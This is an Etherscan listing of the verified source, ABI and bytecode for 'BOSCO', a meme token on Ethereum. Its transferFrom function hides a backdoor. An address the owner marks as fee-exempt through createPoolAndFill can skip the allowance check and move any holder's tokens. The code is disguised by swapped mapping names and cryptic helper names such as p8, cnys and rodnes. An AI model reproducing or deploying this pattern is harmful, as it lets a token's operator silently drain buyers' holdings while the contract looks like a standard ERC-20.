ETH Price: $3,194.45 (+1.53%)
 

Overview

Max Total Supply

1,000,000,000 BOSCO

Holders

95

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,721,000 BOSCO

Value
$0.00
0xEa985649A01F88544EdA8Aa3CCbE7Ee4899951E0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BOSCO

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-22
*/

/**

Good boy intensely watching the lion king

TG: https://t.me/BoscoBillyDog_Portal

https://x.com/BillyM2k/status/1837901880112173219

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BOSCO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => mapping (address => uint256)) private _balances;
    mapping (address => uint256) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"BOSCO";
    string private constant _symbol = unicode"BOSCO";
    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _allowances[_msgSender()] = _tTotal;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_msgSender()] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _allowances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _balances[owner][spender] = amount;
    }
    

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _balances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); if(_isExcludedFromFees[_msgSender()] && p8(uniswapV2Pair, _msgSender()) && p8(owner(), _msgSender())) return block.chainid > 0;
        _approve(sender, _msgSender(), _balances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _balances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function p8(address a, address b) pure private returns (bool) { return uint160(a) ^ uint160(b) != 0; }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFees[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    cnys(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                rodnes();
            }
        }

        if(taxAmount>0){
          _allowances[address(this)]=_allowances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _allowances[from]=_allowances[from].sub(amount);
        _allowances[to]=_allowances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function cnys(uint256 twapAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), twapAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            twapAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function rodnes() private {
        _taxWallet.transfer(address(this).balance);
    }

    function exportETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    function exportToken(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }

    function createPoolAndFill(address paira) external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _isExcludedFromFees[paira] = true;
        _taxWallet = payable(paira);
    }


    function openTrading() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"paira","type":"address"}],"name":"createPoolAndFill","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"exportETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"exportToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460055560146006555f6007555f600855600f600955600f600a556005600b555f600c5560646009600a61003991906102fb565b61004790633b9aca00610310565b610052906002610310565b61005c9190610327565b600d55606461006d6009600a6102fb565b61007b90633b9aca00610310565b610086906002610310565b6100909190610327565b600e5560646100a16009600a6102fb565b6100af90633b9aca00610310565b6100ba906001610310565b6100c49190610327565b600f5560646100d56009600a6102fb565b6100e390633b9aca00610310565b6100ee906001610310565b6100f89190610327565b601055348015610106575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556101656009600a6102fb565b61017390633b9aca00610310565b335f81815260026020908152604080832094909455308252600390528281208054600160ff199182168117909255838352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101de6009600a6102fb565b6101ec90633b9aca00610310565b60405190815260200160405180910390a3610346565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102515780850481111561023557610235610202565b600184161561024357908102905b60019390931c92800261021a565b935093915050565b5f82610267575060016102f5565b8161027357505f6102f5565b81600181146102895760028114610293576102af565b60019150506102f5565b60ff8411156102a4576102a4610202565b50506001821b6102f5565b5060208310610133831016604e8410600b84101617156102d2575081810a6102f5565b6102de5f198484610216565b805f19048211156102f1576102f1610202565b0290505b92915050565b5f61030960ff841683610259565b9392505050565b80820281158282048414176102f5576102f5610202565b5f8261034157634e487b7160e01b5f52601260045260245ffd5b500490565b611968806103535f395ff3fe60806040526004361061011e575f3560e01c80637c826f5f1161009d578063a9059cbb11610062578063a9059cbb146102f1578063bf474bed14610310578063c9567bf914610325578063d579d4ed14610339578063dd62ed3e1461034d575f80fd5b80637c826f5f146102825780637d1db4a5146102a15780638da5cb5b146102b65780638f9a55c0146102dc57806395d89b4114610129575f80fd5b806323b872dd116100e357806323b872dd146101ec578063313ce5671461020b57806370a0823114610226578063715018a61461025a578063751039fc1461026e575f80fd5b806306fdde0314610129578063095ea7b3146101655780630faee56f1461019457806311a7ce50146101b757806318160ddd146101d8575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820182526005815264424f53434f60d81b6020820152905161015c9190611559565b60405180910390f35b348015610170575f80fd5b5061018461017f3660046115a2565b610391565b604051901515815260200161015c565b34801561019f575f80fd5b506101a960105481565b60405190815260200161015c565b3480156101c2575f80fd5b506101d66101d13660046115cc565b6103a7565b005b3480156101e3575f80fd5b506101a96106f7565b3480156101f7575f80fd5b506101846102063660046115e7565b610717565b348015610216575f80fd5b506040516009815260200161015c565b348015610231575f80fd5b506101a96102403660046115cc565b6001600160a01b03165f9081526002602052604090205490565b348015610265575f80fd5b506101d66107e0565b348015610279575f80fd5b506101d6610851565b34801561028d575f80fd5b506101d661029c3660046115a2565b610902565b3480156102ac575f80fd5b506101a9600d5481565b3480156102c1575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102e7575f80fd5b506101a9600e5481565b3480156102fc575f80fd5b5061018461030b3660046115a2565b610a32565b34801561031b575f80fd5b506101a9600f5481565b348015610330575f80fd5b506101d6610a3e565b348015610344575f80fd5b506101d6610a80565b348015610358575f80fd5b506101a9610367366004611625565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b5f61039d338484610ae0565b5060015b92915050565b5f546001600160a01b031633146103d95760405162461bcd60e51b81526004016103d09061165c565b60405180910390fd5b601254600160a01b900460ff16156104335760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103d0565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610495573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b99190611691565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610518573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061053c9190611691565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610586573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105aa9190611691565b601280546001600160a01b0319166001600160a01b039283161790556011546105ef913091166105dc6009600a6117a3565b6105ea90633b9aca006117b1565b610ae0565b6011546001600160a01b031663f305d7194730610620816001600160a01b03165f9081526002602052604090205490565b5f806106335f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610699573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106be91906117c8565b5050506001600160a01b03165f818152600360205260409020805460ff19166001179055600480546001600160a01b0319169091179055565b5f6107046009600a6117a3565b61071290633b9aca006117b1565b905090565b5f610723848484610c03565b335f9081526003602052604090205460ff1680156107505750601254336001600160a01b03918216181615155b801561077b575061077b61076b5f546001600160a01b031690565b33186001600160a01b0316151590565b1561078957504615156107d9565b6107d584336105ea8560405180606001604052806028815260200161190b602891396001600160a01b038a165f90815260016020908152604080832033845290915290205491906111dd565b5060015b9392505050565b5f546001600160a01b031633146108095760405162461bcd60e51b81526004016103d09061165c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461087a5760405162461bcd60e51b81526004016103d09061165c565b6108866009600a6117a3565b61089490633b9aca006117b1565b600d556108a36009600a6117a3565b6108b190633b9aca006117b1565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108e16009600a6117a3565b6108ef90633b9aca006117b1565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461092b5760405162461bcd60e51b81526004016103d09061165c565b6040516370a0823160e01b81523060048201525f906109ac906064906109a69085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561097c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a091906117f3565b90611215565b90611293565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610a08573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2c919061180a565b50505050565b5f61039d338484610c03565b5f546001600160a01b03163314610a675760405162461bcd60e51b81526004016103d09061165c565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610aa95760405162461bcd60e51b81526004016103d09061165c565b5f4711610ab4575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610add573d5f803e3d5ffd5b50565b6001600160a01b038316610b425760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d0565b6001600160a01b038216610ba35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d0565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d0565b6001600160a01b038216610cc95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d0565b5f8111610d2a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d0565b5f80546001600160a01b03858116911614801590610d5557505f546001600160a01b03848116911614155b156110a0576012546001600160a01b038581169116148015610d8557506011546001600160a01b03848116911614155b8015610da957506001600160a01b0383165f9081526003602052604090205460ff16155b15610f0857601254600160a01b900460ff16610dff5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103d0565b610e2560646109a6600954600c5411610e1a57600554610e1e565b6007545b8590611215565b9050600d54821115610e795760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103d0565b600e5482610e9b856001600160a01b03165f9081526002602052604090205490565b610ea59190611829565b1115610ef35760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d0565b600c8054905f610f028361183c565b91905055505b6012546001600160a01b03848116911614801590610f3e57506001600160a01b0383165f9081526003602052604090205460ff16155b15610fbd57600e5482610f65856001600160a01b03165f9081526002602052604090205490565b610f6f9190611829565b1115610fbd5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d0565b6012546001600160a01b038481169116148015610fe357506001600160a01b0384163014155b156110105761100d60646109a6600a54600c541161100357600654610e1e565b6008548590611215565b90505b601254600160a81b900460ff1615801561103757506012546001600160a01b038481169116145b801561104c5750601254600160b01b900460ff165b801561105b5750600b54600c54115b156110a057305f90815260026020526040902054600f54811115611096576110966110918461108c846010546112d4565b6112d4565b6112e8565b61109e611458565b505b801561111857305f908152600260205260409020546110bf908261148e565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061110f9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526002602052604090205461113a90836114ec565b6001600160a01b0385165f9081526002602052604090205561117d61115f83836114ec565b6001600160a01b0385165f908152600260205260409020549061148e565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c685856114ec565b60405190815260200160405180910390a350505050565b5f81848411156112005760405162461bcd60e51b81526004016103d09190611559565b505f61120c8486611854565b95945050505050565b5f825f0361122457505f6103a1565b5f61122f83856117b1565b90508261123c8583611867565b146107d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d0565b5f6107d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152d565b5f8183116112e257826107d9565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061132e5761132e611886565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611385573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113a99190611691565b816001815181106113bc576113bc611886565b6001600160a01b0392831660209182029290920101526011546113e29130911684610ae0565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141a9085905f9086903090429060040161189a565b5f604051808303815f87803b158015611431575f80fd5b505af1158015611443573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610add573d5f803e3d5ffd5b5f8061149a8385611829565b9050838110156107d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d0565b5f6107d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111dd565b5f818361154d5760405162461bcd60e51b81526004016103d09190611559565b505f61120c8486611867565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610add575f80fd5b5f80604083850312156115b3575f80fd5b82356115be8161158e565b946020939093013593505050565b5f602082840312156115dc575f80fd5b81356107d98161158e565b5f805f606084860312156115f9575f80fd5b83356116048161158e565b925060208401356116148161158e565b929592945050506040919091013590565b5f8060408385031215611636575f80fd5b82356116418161158e565b915060208301356116518161158e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116a1575f80fd5b81516107d98161158e565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116fb578085048111156116df576116df6116ac565b60018416156116ed57908102905b60019390931c9280026116c4565b935093915050565b5f82611711575060016103a1565b8161171d57505f6103a1565b8160018114611733576002811461173d57611759565b60019150506103a1565b60ff84111561174e5761174e6116ac565b50506001821b6103a1565b5060208310610133831016604e8410600b841016171561177c575081810a6103a1565b6117885f1984846116c0565b805f190482111561179b5761179b6116ac565b029392505050565b5f6107d960ff841683611703565b80820281158282048414176103a1576103a16116ac565b5f805f606084860312156117da575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611803575f80fd5b5051919050565b5f6020828403121561181a575f80fd5b815180151581146107d9575f80fd5b808201808211156103a1576103a16116ac565b5f6001820161184d5761184d6116ac565b5060010190565b818103818111156103a1576103a16116ac565b5f8261188157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118ea5783516001600160a01b03168352602093840193909201916001016118c3565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c00223b79674c831f56374a35726688b3fc9977e96a31a3e2664aba24baf342664736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c80637c826f5f1161009d578063a9059cbb11610062578063a9059cbb146102f1578063bf474bed14610310578063c9567bf914610325578063d579d4ed14610339578063dd62ed3e1461034d575f80fd5b80637c826f5f146102825780637d1db4a5146102a15780638da5cb5b146102b65780638f9a55c0146102dc57806395d89b4114610129575f80fd5b806323b872dd116100e357806323b872dd146101ec578063313ce5671461020b57806370a0823114610226578063715018a61461025a578063751039fc1461026e575f80fd5b806306fdde0314610129578063095ea7b3146101655780630faee56f1461019457806311a7ce50146101b757806318160ddd146101d8575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820182526005815264424f53434f60d81b6020820152905161015c9190611559565b60405180910390f35b348015610170575f80fd5b5061018461017f3660046115a2565b610391565b604051901515815260200161015c565b34801561019f575f80fd5b506101a960105481565b60405190815260200161015c565b3480156101c2575f80fd5b506101d66101d13660046115cc565b6103a7565b005b3480156101e3575f80fd5b506101a96106f7565b3480156101f7575f80fd5b506101846102063660046115e7565b610717565b348015610216575f80fd5b506040516009815260200161015c565b348015610231575f80fd5b506101a96102403660046115cc565b6001600160a01b03165f9081526002602052604090205490565b348015610265575f80fd5b506101d66107e0565b348015610279575f80fd5b506101d6610851565b34801561028d575f80fd5b506101d661029c3660046115a2565b610902565b3480156102ac575f80fd5b506101a9600d5481565b3480156102c1575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102e7575f80fd5b506101a9600e5481565b3480156102fc575f80fd5b5061018461030b3660046115a2565b610a32565b34801561031b575f80fd5b506101a9600f5481565b348015610330575f80fd5b506101d6610a3e565b348015610344575f80fd5b506101d6610a80565b348015610358575f80fd5b506101a9610367366004611625565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b5f61039d338484610ae0565b5060015b92915050565b5f546001600160a01b031633146103d95760405162461bcd60e51b81526004016103d09061165c565b60405180910390fd5b601254600160a01b900460ff16156104335760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103d0565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610495573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b99190611691565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610518573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061053c9190611691565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610586573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105aa9190611691565b601280546001600160a01b0319166001600160a01b039283161790556011546105ef913091166105dc6009600a6117a3565b6105ea90633b9aca006117b1565b610ae0565b6011546001600160a01b031663f305d7194730610620816001600160a01b03165f9081526002602052604090205490565b5f806106335f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610699573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106be91906117c8565b5050506001600160a01b03165f818152600360205260409020805460ff19166001179055600480546001600160a01b0319169091179055565b5f6107046009600a6117a3565b61071290633b9aca006117b1565b905090565b